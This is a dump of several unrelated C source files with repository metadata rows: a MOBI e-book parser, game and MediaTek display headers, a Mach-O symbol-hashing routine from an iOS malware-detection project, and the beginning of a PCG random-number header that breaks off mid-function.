m->mh->full_name = malloc(full_name_length + 1);
if (m->mh->full_name == NULL) {
debug_print("%s", "Memory allocation for full name failed\n");
return MOBI_MALLOC_FAILED;
}
if (full_name_length) {
buffer_getstring(m->mh->full_name, buf, full_name_length);
} else {
m->mh->full_name[0] = '\0';
}
buffer_setpos(buf, saved_offset);
}
return MOBI_SUCCESS;
}
/**
@brief Parse Record 0 into MOBIData structure
This function will parse MOBIRecord0Header, MOBIMobiHeader and MOBIExthHeader
@param[in,out] m MOBIData structure to be filled with parsed data
@param[in] seqnumber Sequential number of the palm database record
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_parse_record0(MOBIData *m, const size_t seqnumber) {
MOBI_RET ret;
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
const MOBIPdbRecord *record0 = mobi_get_record_by_seqnumber(m, seqnumber);
if (record0 == NULL) {
debug_print("%s", "Record 0 not loaded\n");
return MOBI_DATA_CORRUPT;
}
if (record0->size < RECORD0_HEADER_LEN) {
debug_print("%s", "Record 0 too short\n");
return MOBI_DATA_CORRUPT;
}
MOBIBuffer *buf = buffer_init_null(record0->data, record0->size);
if (buf == NULL) {
debug_print("%s\n", "Memory allocation failed");
return MOBI_MALLOC_FAILED;
}
m->rh = calloc(1, sizeof(MOBIRecord0Header));
if (m->rh == NULL) {
debug_print("%s", "Memory allocation for record 0 header failed\n");
buffer_free_null(buf);
return MOBI_MALLOC_FAILED;
}
/* parse palmdoc header */
const uint16_t compression = buffer_get16(buf);
buffer_seek(buf, 2); // unused 2 bytes, zeroes
if ((compression != RECORD0_NO_COMPRESSION &&
compression != RECORD0_PALMDOC_COMPRESSION &&
compression != RECORD0_HUFF_COMPRESSION)) {
debug_print("Wrong record0 header: %c%c%c%c\n", record0->data[0], record0->data[1], record0->data[2], record0->data[3]);
buffer_free_null(buf);
free(m->rh);
m->rh = NULL;
return MOBI_DATA_CORRUPT;
}
m->rh->compression_type = compression;
m->rh->text_length = buffer_get32(buf);
m->rh->text_record_count = buffer_get16(buf);
m->rh->text_record_size = buffer_get16(buf);
m->rh->encryption_type = buffer_get16(buf);
m->rh->unknown1 = buffer_get16(buf);
if (mobi_is_mobipocket(m)) {
/* parse mobi header if present */
ret = mobi_parse_mobiheader(m, buf);
if (ret == MOBI_SUCCESS) {
/* parse exth header if present */
mobi_parse_extheader(m, buf);
}
}
buffer_free_null(buf);
return MOBI_SUCCESS;
}
/**
@brief Calculate the size of extra bytes at the end of text record
@param[in] record MOBIPdbRecord structure containing the record
@param[in] flags Flags from MOBI header (extra_flags)
@return The size of trailing bytes, MOBI_NOTSET on failure
*/
size_t mobi_get_record_extrasize(const MOBIPdbRecord *record, const uint16_t flags) {
size_t extra_size = 0;
MOBIBuffer *buf = buffer_init_null(record->data, record->size);
if (buf == NULL) {
debug_print("%s", "Buffer init in extrasize failed\n");
return MOBI_NOTSET;
}
/* set pointer at the end of the record data */
buffer_setpos(buf, buf->maxlen - 1);
for (int bit = 15; bit > 0; bit--) {
if (flags & (1 << bit)) {
/* bit is set */
size_t len = 0;
/* size contains varlen itself and optional data */
const uint32_t size = buffer_get_varlen_dec(buf, &len);
/* skip data */
/* TODO: read and store in record struct */
buffer_seek(buf, - (int)(size - len));
extra_size += size;
}
};
/* check bit 0 */
if (flags & 1) {
const uint8_t b = buffer_get8(buf);
/* two first bits hold size */
extra_size += (b & 0x3) + 1;
}
buffer_free_null(buf);
return extra_size;
}
/**
@brief Calculate the size of extra multibyte section at the end of text record
@param[in] record MOBIPdbRecord structure containing the record
@param[in] flags Flags from MOBI header (extra_flags)
@return The size of trailing bytes, MOBI_NOTSET on failure
*/
size_t mobi_get_record_mb_extrasize(const MOBIPdbRecord *record, const uint16_t flags) {
size_t extra_size = 0;
if (flags & 1) {
MOBIBuffer *buf = buffer_init_null(record->data, record->size);
if (buf == NULL) {
debug_print("%s", "Buffer init in extrasize failed\n");
return MOBI_NOTSET;
}
/* set pointer at the end of the record data */
buffer_setpos(buf, buf->maxlen - 1);
for (int bit = 15; bit > 0; bit--) {
if (flags & (1 << bit)) {
/* bit is set */
size_t len = 0;
/* size contains varlen itself and optional data */
const uint32_t size = buffer_get_varlen_dec(buf, &len);
/* skip data */
/* TODO: read and store in record struct */
buffer_seek(buf, - (int)(size - len));
}
};
/* read multibyte section */
const uint8_t b = buffer_get8(buf);
/* two first bits hold size */
extra_size += (b & 0x3) + 1;
buffer_free_null(buf);
}
return extra_size;
}
/**
@brief Parse HUFF record into MOBIHuffCdic structure
@param[in,out] huffcdic MOBIHuffCdic structure to be filled with parsed data
@param[in] record MOBIPdbRecord structure containing the record
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_parse_huff(MOBIHuffCdic *huffcdic, const MOBIPdbRecord *record) {
MOBIBuffer *buf = buffer_init_null(record->data, record->size);
if (buf == NULL) {
debug_print("%s\n", "Memory allocation failed");
return MOBI_MALLOC_FAILED;
}
char huff_magic[5];
buffer_getstring(huff_magic, buf, 4);
const size_t header_length = buffer_get32(buf);
if (strncmp(huff_magic, HUFF_MAGIC, 4) != 0 || header_length < HUFF_HEADER_LEN) {
debug_print("HUFF wrong magic: %s\n", huff_magic);
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
const size_t data1_offset = buffer_get32(buf);
const size_t data2_offset = buffer_get32(buf);
/* skip little-endian table offsets */
buffer_setpos(buf, data1_offset);
if (buf->offset + (256 * 4) > buf->maxlen) {
debug_print("%s", "HUFF data1 too short\n");
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
/* read 256 indices from data1 big-endian */
for (int i = 0; i < 256; i++) {
huffcdic->table1[i] = buffer_get32(buf);
}
buffer_setpos(buf, data2_offset);
if (buf->offset + (64 * 4) > buf->maxlen) {
debug_print("%s", "HUFF data2 too short\n");
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
/* read 32 mincode-maxcode pairs from data2 big-endian */
huffcdic->mincode_table[0] = 0;
huffcdic->maxcode_table[0] = 0xFFFFFFFF;
for (int i = 1; i < 33; i++) {
const uint32_t mincode = buffer_get32(buf);
const uint32_t maxcode = buffer_get32(buf);
huffcdic->mincode_table[i] = mincode << (32 - i);
huffcdic->maxcode_table[i] = ((maxcode + 1) << (32 - i)) - 1;
}
buffer_free_null(buf);
return MOBI_SUCCESS;
}
/**
@brief Parse CDIC record into MOBIHuffCdic structure
@param[in,out] huffcdic MOBIHuffCdic structure to be filled with parsed data
@param[in] record MOBIPdbRecord structure containing the record
@param[in] num Number of CDIC record in a set, starting from zero
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_parse_cdic(MOBIHuffCdic *huffcdic, const MOBIPdbRecord *record, const size_t num) {
MOBIBuffer *buf = buffer_init_null(record->data, record->size);
if (buf == NULL) {
debug_print("%s\n", "Memory allocation failed");
return MOBI_MALLOC_FAILED;
}
char cdic_magic[5];
buffer_getstring(cdic_magic, buf, 4);
const size_t header_length = buffer_get32(buf);
if (strncmp(cdic_magic, CDIC_MAGIC, 4) != 0 || header_length < CDIC_HEADER_LEN) {
debug_print("CDIC wrong magic: %s or declared header length: %zu\n", cdic_magic, header_length);
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
/* variables in huffcdic initialized to zero with calloc */
/* save initial count and length */
size_t index_count = buffer_get32(buf);
const size_t code_length = buffer_get32(buf);
if (huffcdic->code_length && huffcdic->code_length != code_length) {
debug_print("CDIC different code length %zu in record %i, previous was %zu\n", huffcdic->code_length, record->uid, code_length);
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
if (huffcdic->index_count && huffcdic->index_count != index_count) {
debug_print("CDIC different index count %zu in record %i, previous was %zu\n", huffcdic->index_count, record->uid, index_count);
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
if (code_length == 0 || code_length > HUFF_CODELEN_MAX) {
debug_print("Code length exceeds sanity checks (%zu)\n", code_length);
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
huffcdic->code_length = code_length;
huffcdic->index_count = index_count;
if (index_count == 0) {
debug_print("%s", "CDIC index count is null");
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
/* allocate memory for symbol offsets if not already allocated */
if (num == 0) {
if (index_count > (1 << HUFF_CODELEN_MAX) * CDIC_RECORD_MAXCNT) {
debug_print("CDIC index count too large %zu\n", index_count);
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
huffcdic->symbol_offsets = malloc(index_count * sizeof(*huffcdic->symbol_offsets));
if (huffcdic->symbol_offsets == NULL) {
debug_print("%s", "CDIC cannot allocate memory");
buffer_free_null(buf);
return MOBI_MALLOC_FAILED;
}
}
index_count -= huffcdic->index_read;
/* limit number of records read to code_length bits */
if (index_count >> code_length) {
index_count = (1 << code_length);
}
if (buf->offset + (index_count * 2) > buf->maxlen) {
debug_print("%s", "CDIC indices data too short\n");
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
/* read i * 2 byte big-endian indices */
while (index_count--) {
huffcdic->symbol_offsets[huffcdic->index_read++] = buffer_get16(buf);
}
if (buf->offset + code_length > buf->maxlen) {
debug_print("%s", "CDIC dictionary data too short\n");
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
/* copy pointer to data */
huffcdic->symbols[num] = record->data + CDIC_HEADER_LEN;
/* free buffer */
buffer_free_null(buf);
return MOBI_SUCCESS;
}
/**
@brief Parse a set of HUFF and CDIC records into MOBIHuffCdic structure
@param[in] m MOBIData structure with loaded MOBI document
@param[in,out] huffcdic MOBIHuffCdic structure to be filled with parsed data
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_parse_huffdic(const MOBIData *m, MOBIHuffCdic *huffcdic) {
MOBI_RET ret;
const size_t offset = mobi_get_kf8offset(m);
if (m->mh == NULL || m->mh->huff_rec_index == NULL || m->mh->huff_rec_count == NULL) {
debug_print("%s", "HUFF/CDIC records metadata not found in MOBI header\n");
return MOBI_DATA_CORRUPT;
}
const size_t huff_rec_index = *m->mh->huff_rec_index + offset;
const size_t huff_rec_count = *m->mh->huff_rec_count;
if (huff_rec_count > HUFF_RECORD_MAXCNT) {
debug_print("Too many HUFF record (%zu)\n", huff_rec_count);
return MOBI_DATA_CORRUPT;
}
const MOBIPdbRecord *curr = mobi_get_record_by_seqnumber(m, huff_rec_index);
if (curr == NULL || huff_rec_count < 2) {
debug_print("%s", "HUFF/CDIC record not found\n");
return MOBI_DATA_CORRUPT;
}
if (curr->size < HUFF_RECORD_MINSIZE) {
debug_print("HUFF record too short (%zu b)\n", curr->size);
return MOBI_DATA_CORRUPT;
}
ret = mobi_parse_huff(huffcdic, curr);
if (ret != MOBI_SUCCESS) {
debug_print("%s", "HUFF parsing failed\n");
return ret;
}
curr = curr->next;
/* allocate memory for symbols data in each CDIC record */
huffcdic->symbols = malloc((huff_rec_count - 1) * sizeof(*huffcdic->symbols));
if (huffcdic->symbols == NULL) {
debug_print("%s\n", "Memory allocation failed");
return MOBI_MALLOC_FAILED;
}
/* get following CDIC records */
size_t i = 0;
while (i < huff_rec_count - 1) {
if (curr == NULL) {
debug_print("%s\n", "CDIC record not found");
return MOBI_DATA_CORRUPT;
}
ret = mobi_parse_cdic(huffcdic, curr, i++);
if (ret != MOBI_SUCCESS) {
debug_print("%s", "CDIC parsing failed\n");
return ret;
}
curr = curr->next;
}
return MOBI_SUCCESS;
}
/**
@brief Parse FDST record into MOBIRawml structure (MOBIFdst member)
@param[in] m MOBIData structure with loaded MOBI document
@param[in,out] rawml MOBIRawml structure to be filled with parsed data
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_parse_fdst(const MOBIData *m, MOBIRawml *rawml) {
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
const size_t fdst_record_number = mobi_get_fdst_record_number(m);
if (fdst_record_number == MOBI_NOTSET) {
return MOBI_DATA_CORRUPT;
}
const MOBIPdbRecord *fdst_record = mobi_get_record_by_seqnumber(m, fdst_record_number);
if (fdst_record == NULL) {
return MOBI_DATA_CORRUPT;
}
MOBIBuffer *buf = buffer_init_null(fdst_record->data, fdst_record->size);
if (buf == NULL) {
debug_print("%s\n", "Memory allocation failed");
return MOBI_MALLOC_FAILED;
}
char fdst_magic[5];
buffer_getstring(fdst_magic, buf, 4);
const size_t data_offset = buffer_get32(buf);
const size_t section_count = buffer_get32(buf);
if (strncmp(fdst_magic, FDST_MAGIC, 4) != 0 ||
section_count <= 1 ||
section_count != *m->mh->fdst_section_count ||
data_offset != 12) {
debug_print("FDST wrong magic: %s, sections count: %zu or data offset: %zu\n", fdst_magic, section_count, data_offset);
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
if ((buf->maxlen - buf->offset) < section_count * 8) {
debug_print("%s", "Record FDST too short\n");
buffer_free_null(buf);
return MOBI_DATA_CORRUPT;
}
rawml->fdst = malloc(sizeof(MOBIFdst));
if (rawml->fdst == NULL) {
debug_print("%s\n", "Memory allocation failed");
buffer_free_null(buf);
return MOBI_MALLOC_FAILED;
}
rawml->fdst->fdst_section_count = section_count;
rawml->fdst->fdst_section_starts = malloc(sizeof(*rawml->fdst->fdst_section_starts) * section_count);
if (rawml->fdst->fdst_section_starts == NULL) {
debug_print("%s\n", "Memory allocation failed");
buffer_free_null(buf);
free(rawml->fdst);
rawml->fdst = NULL;
return MOBI_MALLOC_FAILED;
}
rawml->fdst->fdst_section_ends = malloc(sizeof(*rawml->fdst->fdst_section_ends) * section_count);
if (rawml->fdst->fdst_section_ends == NULL) {
debug_print("%s\n", "Memory allocation failed");
buffer_free_null(buf);
free(rawml->fdst->fdst_section_starts);
free(rawml->fdst);
rawml->fdst = NULL;
return MOBI_MALLOC_FAILED;
}
size_t i = 0;
while (i < section_count) {
rawml->fdst->fdst_section_starts[i] = buffer_get32(buf);
rawml->fdst->fdst_section_ends[i] = buffer_get32(buf);
debug_print("FDST[%zu]:\t%i\t%i\n", i, rawml->fdst->fdst_section_starts[i], rawml->fdst->fdst_section_ends[i]);
i++;
}
buffer_free_null(buf);
return MOBI_SUCCESS;
}
/**
@brief Read MOBI document from file into MOBIData structure
@param[in,out] m MOBIData structure to be filled with read data
@param[in] file File descriptor to read from
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_load_file(MOBIData *m, FILE *file) {
MOBI_RET ret;
if (m == NULL) {
debug_print("%s", "Mobi structure not initialized\n");
return MOBI_INIT_FAILED;
}
ret = mobi_load_pdbheader(m, file);
if (ret != MOBI_SUCCESS) {
return ret;
}
if (strcmp(m->ph->type, "BOOK") != 0 && strcmp(m->ph->type, "TEXt") != 0) {
debug_print("Unsupported file type: %s\n", m->ph->type);
return MOBI_FILE_UNSUPPORTED;
}
if (m->ph->rec_count == 0) {
debug_print("%s", "No records found\n");
return MOBI_DATA_CORRUPT;
}
ret = mobi_load_reclist(m, file);
if (ret != MOBI_SUCCESS) {
return ret;
}
ret = mobi_load_rec(m, file);
if (ret != MOBI_SUCCESS) {
return ret;
}
ret = mobi_parse_record0(m, 0);
if (ret != MOBI_SUCCESS) {
return ret;
}
if (m->rh && m->rh->encryption_type == RECORD0_OLD_ENCRYPTION) {
/* try to set key for encryption type 1 */
debug_print("Trying to set key for encryption type 1%s", "\n")
mobi_drm_setkey(m, NULL);
}
/* if EXTH is loaded parse KF8 record0 for hybrid KF7/KF8 file */
if (m->eh) {
const size_t boundary_rec_number = mobi_get_kf8boundary_seqnumber(m);
if (boundary_rec_number != MOBI_NOTSET && boundary_rec_number < UINT32_MAX) {
/* it is a hybrid KF7/KF8 file */
m->kf8_boundary_offset = (uint32_t) boundary_rec_number;
m->next = mobi_init();
/* link pdb header and records data to KF8data structure */
m->next->ph = m->ph;
m->next->rec = m->rec;
m->next->drm_key = m->drm_key;
/* close next loop */
m->next->next = m;
ret = mobi_parse_record0(m->next, boundary_rec_number + 1);
if (ret != MOBI_SUCCESS) {
return ret;
}
/* swap to kf8 part if use_kf8 flag is set */
if (m->use_kf8) {
mobi_swap_mobidata(m);
}
}
}
return MOBI_SUCCESS;
}
/**
@brief Read MOBI document from a path into MOBIData structure
@param[in,out] m MOBIData structure to be filled with read data
@param[in] path Path to a MOBI document on disk (eg. /home/me/test.mobi)
@return MOBI_RET status code (on success MOBI_SUCCESS)
*/
MOBI_RET mobi_load_filename(MOBIData *m, const char *path) {
FILE *file = fopen(path, "rb");
if (file == NULL) {
debug_print("%s", "File not found\n");
return MOBI_FILE_NOT_FOUND;
}
const MOBI_RET ret = mobi_load_file(m, file);
fclose(file);
return ret;
}
| 37.151815 | 136 | 0.620947 |
756257f687b03876765827e8e822d10e570e5e51 | 1,480 | h | C | sdl1/xrick/include/draw.h | pdpdds/sdldualsystem | d74ea84cbea705fef62868ba8c693bf7d2555636 | [
"BSD-2-Clause"
] | null | null | null | sdl1/xrick/include/draw.h | pdpdds/sdldualsystem | d74ea84cbea705fef62868ba8c693bf7d2555636 | [
"BSD-2-Clause"
] | null | null | null | sdl1/xrick/include/draw.h | pdpdds/sdldualsystem | d74ea84cbea705fef62868ba8c693bf7d2555636 | [
"BSD-2-Clause"
] | null | null | null | /*
* xrick/include/draw.h
*
* Copyright (C) 1998-2002 BigOrno (bigorno@bigorno.net). All rights reserved.
*
* The use and distribution terms for this software are contained in the file
* named README, which can be found in the root of this distribution. By
* using this software in any fashion, you are agreeing to be bound by the
* terms of this license.
*
* You must not remove this notice, or any other, from this software.
*/
#ifndef _DRAW_H
#define _DRAW_H
#include "system.h"
#include "rects.h"
#include "img.h"
/* map coordinates of the screen */
#define DRAW_XYMAP_SCRLEFT (-0x0020)
#define DRAW_XYMAP_SCRTOP (0x0040)
/* map coordinates of the top of the hidden bottom of the map */
#define DRAW_XYMAP_HBTOP (0x0100)
extern U8 *draw_tllst;
#ifdef GFXPC
extern U16 draw_filter;
#endif
extern U8 draw_tilesBank;
extern rect_t draw_STATUSRECT;
extern rect_t draw_SCREENRECT;
extern void draw_setfb(U16, U16);
extern U8 draw_clipms(S16 *, S16 *, U16 *, U16 *);
extern void draw_tilesList(void);
extern void draw_tilesListImm(U8 *);
extern U8 draw_tilesSubList(void);
extern void draw_tile(register U8);
extern void draw_sprite(U8, U16, U16);
extern void draw_sprite2(U8, U16, U16, U8);
extern void draw_spriteBackground(U16, U16);
extern void draw_map(void);
extern void draw_drawStatus(void);
extern void draw_clearStatus(void);
extern void draw_pic(U16, U16, U16, U16, U32 *);
extern void draw_infos(void);
extern void draw_img(img_t *);
#endif
/* eof */
| 26.909091 | 78 | 0.750676 |
0eb045f56ed12999d363ee70db19225177f71a37 | 2,196 | h | C | kernel-3.10/drivers/misc/mediatek/video/mt8127/mt8127/disp_drv_platform.h | zhengdejin/SC1_Code | dccccf55f2875fb64ec621f4356c625cd48bef7e | [
"Apache-2.0"
] | null | null | null | kernel-3.10/drivers/misc/mediatek/video/mt8127/mt8127/disp_drv_platform.h | zhengdejin/SC1_Code | dccccf55f2875fb64ec621f4356c625cd48bef7e | [
"Apache-2.0"
] | null | null | null | kernel-3.10/drivers/misc/mediatek/video/mt8127/mt8127/disp_drv_platform.h | zhengdejin/SC1_Code | dccccf55f2875fb64ec621f4356c625cd48bef7e | [
"Apache-2.0"
] | null | null | null | #ifndef __DISP_DRV_PLATFORM_H__
#define __DISP_DRV_PLATFORM_H__
#ifdef BUILD_UBOOT
#include <config.h>
#include <common.h>
#include <version.h>
#include <stdarg.h>
#include <linux/types.h>
#include <lcd.h>
#include <video_fb.h>
#include <mmc.h>
#include <part.h>
#include <fat.h>
#include <malloc.h>
#include <asm/errno.h>
#include <asm/io.h>
#include <asm/arch/boot_mode.h>
#include <asm/arch/mt65xx.h>
#include <asm/arch/mt65xx_typedefs.h>
#include <asm/arch/disp_drv.h>
#include <asm/arch/lcd_drv.h>
#include <asm/arch/dpi_drv.h>
#include <asm/arch/dsi_drv.h>
#include <asm/arch/lcd_reg.h>
#include <asm/arch/dpi_reg.h>
#include <asm/arch/dsi_reg.h>
#include <asm/arch/disp_assert_layer.h>
#include <asm/arch/disp_drv_log.h>
#include <asm/arch/mt65xx_disp_drv.h>
#include "lcm_drv.h"
#undef CONFIG_MTK_M4U_SUPPORT
#undef CONFIG_MTK_HDMI_SUPPORT
#define DEFINE_SEMAPHORE(x)
#define down_interruptible(x) 0
#define up(x)
#define DBG_OnTriggerLcd()
#else
#include <linux/dma-mapping.h>
#include <mach/mt_typedefs.h>
#include <mach/mt_gpio.h>
#include <mach/m4u.h>
//#include <mach/mt6585_pwm.h>
#include <mach/mt_reg_base.h>
#include <mach/mt_clkmgr.h>
#include <mach/mt_irq.h>
//#include <mach/boot.h>
#include <board-custom.h>
#include <linux/disp_assert_layer.h>
#include "ddp_hal.h"
#include "ddp_drv.h"
#include "ddp_path.h"
#include "ddp_rdma.h"
#include "dsi_drv.h"
#endif
///LCD HW feature options for MT6575
#define MTK_LCD_HW_SIF_VERSION 2 ///for MT6575, we naming it is V2 because MT6516/73 is V1...
#define MTKFB_NO_M4U
#define MT65XX_NEW_DISP
//#define MTK_LCD_HW_3D_SUPPORT
#define ALIGN_TO(x, n) \
(((x) + ((n) - 1)) & ~((n) - 1))
#define MTK_FB_ALIGNMENT 16
#define MTK_FB_SYNC_SUPPORT
#ifndef MTK_OVERLAY_ENGINE_SUPPORT
#define MTK_OVL_DECOUPLE_SUPPORT
#endif
#if defined(MTK_ALPS_BOX_SUPPORT)
#define MTK_HDMI_MAIN_PATH 1
#else
#define MTK_HDMI_MAIN_PATH 0
#endif
#define MTK_HDMI_MAIN_PATH_TEST 0
#define MTK_HDMI_MAIN_PATH_TEST_SIZE 0
#define MTK_DISABLE_HDMI_BUFFER_FROM_RDMA1 1
#define HDMI_DISP_WIDTH 1920
#define HDMI_DISP_HEIGHT 1080
#define HDMI_DEFAULT_RESOLUTION HDMI_VIDEO_1920x1080p_60Hz
#endif //__DISP_DRV_PLATFORM_H__
| 24.674157 | 104 | 0.759107 |
a814cb1b31882596a7150ffadbbf3b71a7dc17a6 | 5,511 | c | C | lib/macho/parse_symbols.c | alipay/ios-malicious-bithunter | 6e709fc7cca99fae3ca04af4e20dac0624fb0b5d | [
"Apache-2.0"
] | 66 | 2021-04-16T09:55:58.000Z | 2022-03-11T07:40:07.000Z | lib/macho/parse_symbols.c | alipay/ios-malicious-bithunter | 6e709fc7cca99fae3ca04af4e20dac0624fb0b5d | [
"Apache-2.0"
] | null | null | null | lib/macho/parse_symbols.c | alipay/ios-malicious-bithunter | 6e709fc7cca99fae3ca04af4e20dac0624fb0b5d | [
"Apache-2.0"
] | 5 | 2021-06-13T13:05:16.000Z | 2022-03-09T11:47:41.000Z | // Created by min on 27/09/2020.
// Copyright © 2020 Shijie Cao. All rights reserved.
// Ant TechnologyGroup
#include "parse_symbols.h"
#include <mach-o/nlist.h>
#include "parser_util.h"
#include "stdint.h"
#include "stdlib.h"
#include "limits.h"
#include "string.h"
#include "AssertMacros.h"
#define PS_SYMBOLS_HASH_ERR 0xb
#define PS_STR_SIZE_ERR 0xc
#define SYM_SIZE_LIMIT 256
#define STR_SIZE_LIMIT 200000
__attribute__((__annotate__(("noobfus"))))
int strcat_sym(char *big, char *symbol) {
if (symbol) {
size_t len = strlen(symbol);
if (len > 0 && len < SYM_SIZE_LIMIT && strcmp(symbol, " ")) {
if (strlen(big)) {
strcat(big, ",");
}
strcat(big, symbol);
return 0;
} else {
return -1;
}
}
return -1;
}
__attribute__((__annotate__(("noobfus"))))
int get_symbols_hash(FILE *file, struct mach_offset_info *info, struct sect_strings *strings) {
struct symtab_command sc = info->sc;
if (sc.strsize > STR_SIZE_LIMIT) {
return PS_STR_SIZE_ERR;
}
char *string_table = load_bytes(file, info->arch_offset + sc.stroff, sc.strsize);
__Require(string_table != NULL, exit);
char *sym_in = (char *)calloc(1, sc.strsize + 1);
__Require(sym_in != NULL, error);
char *sym_ex = (char *)calloc(1, sc.strsize + 1);
__Require(sym_in != NULL, error1);
int sym_off = info->arch_offset + sc.symoff;
if (info->is_64) {
int size = sizeof(struct nlist_64) * sc.nsyms;
struct nlist_64 *ptr_64 = load_bytes(file, sym_off, size);
if(ptr_64 != NULL)
{
for (int i = 0; i < sc.nsyms; i++) {
struct nlist_64 nl = ptr_64[i];
if (nl.n_type == 0x1) {
char *symbol = string_table + nl.n_un.n_strx;
__Require(strcat_sym(sym_in, symbol) == 0, error2);
} else if (nl.n_type == 0xf) {
char *symbol = string_table + nl.n_un.n_strx;
__Require(strcat_sym(sym_ex, symbol) == 0, error2);
}
}
free(ptr_64);
}
} else {
int size = sizeof(struct nlist) * sc.nsyms;
struct nlist *ptr_32 = load_bytes(file, sym_off, size);
if(ptr_32 != NULL)
{
for (int i = 0; i < sc.nsyms; i++) {
struct nlist nl = ptr_32[i];
if (nl.n_type == 0x1) {
char *symbol = string_table + nl.n_un.n_strx;
__Require(strcat_sym(sym_in, symbol) == 0, error2);
} else if (nl.n_type == 0xf) {
char *symbol = string_table + nl.n_un.n_strx;
__Require(strcat_sym(sym_ex, symbol) == 0, error2);
}
}
free(ptr_32);
}
}
uint32_t len = (uint32_t)strlen(sym_in);
if (len) {
strings->import_hash = malloc(HASH_LENGTH);
if (strings->import_hash) {
md5_hash(sym_in, len, strings->import_hash);
}
strings->sym_in = malloc(len + 1);
if (strings->sym_in) {
strcpy((char *)strings->sym_in, sym_in);
}
}
len = (uint32_t)strlen(sym_ex);
if (len) {
strings->export_hash = malloc(HASH_LENGTH);
if (strings->export_hash) {
md5_hash(sym_ex, len, strings->export_hash);
}
strings->sym_ex = malloc(len + 1);
if (strings->sym_ex) {
strcpy((char *)strings->sym_ex, sym_ex);
}
}
free(string_table);
free(sym_in);
free(sym_ex);
return 0;
error2:
free(sym_ex);
error1:
free(sym_in);
error:
free(string_table);
exit:
return PS_SYMBOLS_HASH_ERR;
}
__attribute__((__annotate__(("noobfus"))))
void *load_bytes_item(FILE *file, uint32_t arch_offset, struct data_item item) {
if (item.offset > 0 && item.size > 0) {
char *buffer = load_bytes(file, arch_offset + item.offset, item.size);
if (buffer) {
replace_null_char(buffer, item.size);
return buffer;
}
}
return NULL;
}
__attribute__((__annotate__(("noobfus"))))
void *load_bytes_item_64(FILE *file, uint32_t arch_offset, struct data_item_64 item) {
if (item.offset > 0 && item.size > 0) {
char *buffer = load_bytes(file, arch_offset + item.offset, (size_t)item.size);
if (buffer) {
replace_null_char(buffer, (size_t)item.size);
return buffer;
}
}
return NULL;
}
__attribute__((__annotate__(("noobfus"))))
void get_text_section_strings(FILE *file, struct mach_offset_info *info, struct sect_strings *strings) {
if (info->is_64) {
strings->method = load_bytes_item_64(file, info->arch_offset, info->section_64.method);
strings->classes = load_bytes_item_64(file, info->arch_offset, info->section_64.classes);
strings->cstring = load_bytes_item_64(file, info->arch_offset, info->section_64.cstring);
} else {
strings->method = load_bytes_item(file, info->arch_offset, info->section.method);
strings->classes = load_bytes_item(file, info->arch_offset, info->section.classes);
strings->cstring = load_bytes_item(file, info->arch_offset, info->section.cstring);
}
}
| 30.447514 | 104 | 0.559971 |
e1df317152df096e5fc3d20be424328eb5b083e6 | 3,416 | h | C | randomgen/src/pcg64/lcg128mix.h | amrali-eg/randomgen | ea45e16d4e8ff701a705f5f5ec3592f656170f39 | [
"NCSA",
"BSD-3-Clause"
] | 73 | 2018-03-28T19:40:23.000Z | 2022-02-06T18:30:17.000Z | randomgen/src/pcg64/lcg128mix.h | amrali-eg/randomgen | ea45e16d4e8ff701a705f5f5ec3592f656170f39 | [
"NCSA",
"BSD-3-Clause"
] | 209 | 2018-03-22T05:52:50.000Z | 2022-03-23T02:07:58.000Z | randomgen/src/pcg64/lcg128mix.h | amrali-eg/randomgen | ea45e16d4e8ff701a705f5f5ec3592f656170f39 | [
"NCSA",
"BSD-3-Clause"
] | 22 | 2018-05-22T11:21:19.000Z | 2022-02-28T03:27:48.000Z | #ifndef lcg128mix_H_INCLUDED
#define lcg128mix_H_INCLUDED 1
#include "pcg64-common.h"
typedef struct lcg128mix_RANDOM_T {
pcg128_t state;
pcg128_t inc;
pcg128_t multiplier;
uint64_t dxsm_multiplier;
int post;
int output_idx;
pcg_output_func_t output_func;
} lcg128mix_random_t;
static INLINE void lcg128mix_step(lcg128mix_random_t *rng) {
#if defined(_WIN32) && _MSC_VER >= 1900 && _M_AMD64 && \
defined(PCG_EMULATED_128BIT_MATH) && PCG_EMULATED_128BIT_MATH
uint64_t h1, multiplier_low = PCG_LOW(rng->multiplier);
pcg128_t product;
/* Manually INLINE the multiplication and addition using intrinsics */
h1 = rng->state.high * multiplier_low +
rng->state.low * PCG_HIGH(rng->multiplier);
product.low = _umul128(rng->state.low, multiplier_low, &(product.high));
product.high += h1;
_addcarry_u64(_addcarry_u64(0, product.low, rng->inc.low, &(rng->state.low)),
product.high, rng->inc.high, &(rng->state.high));
#else
rng->state = pcg128_add(pcg128_mult(rng->state, rng->multiplier), rng->inc);
#endif
}
static INLINE void lcg128mix_initialize(lcg128mix_random_t *rng,
pcg128_t initstate,
pcg128_t initseq) {
rng->state = PCG_128BIT_CONSTANT(0ULL, 0ULL);
#if defined(PCG_EMULATED_128BIT_MATH) && PCG_EMULATED_128BIT_MATH
rng->inc.high = initseq.high << 1u;
rng->inc.high |= initseq.low >> 63u;
rng->inc.low = (initseq.low << 1u) | 1u;
#else
rng->inc = (initseq << 1U) | 1U;
#endif
lcg128mix_step(rng);
rng->state = pcg128_add(rng->state, initstate);
lcg128mix_step(rng);
}
static INLINE uint64_t lcg128mix_next(lcg128mix_random_t *rng) {
pcg128_t out;
if (rng->post != 1) {
out = rng->state;
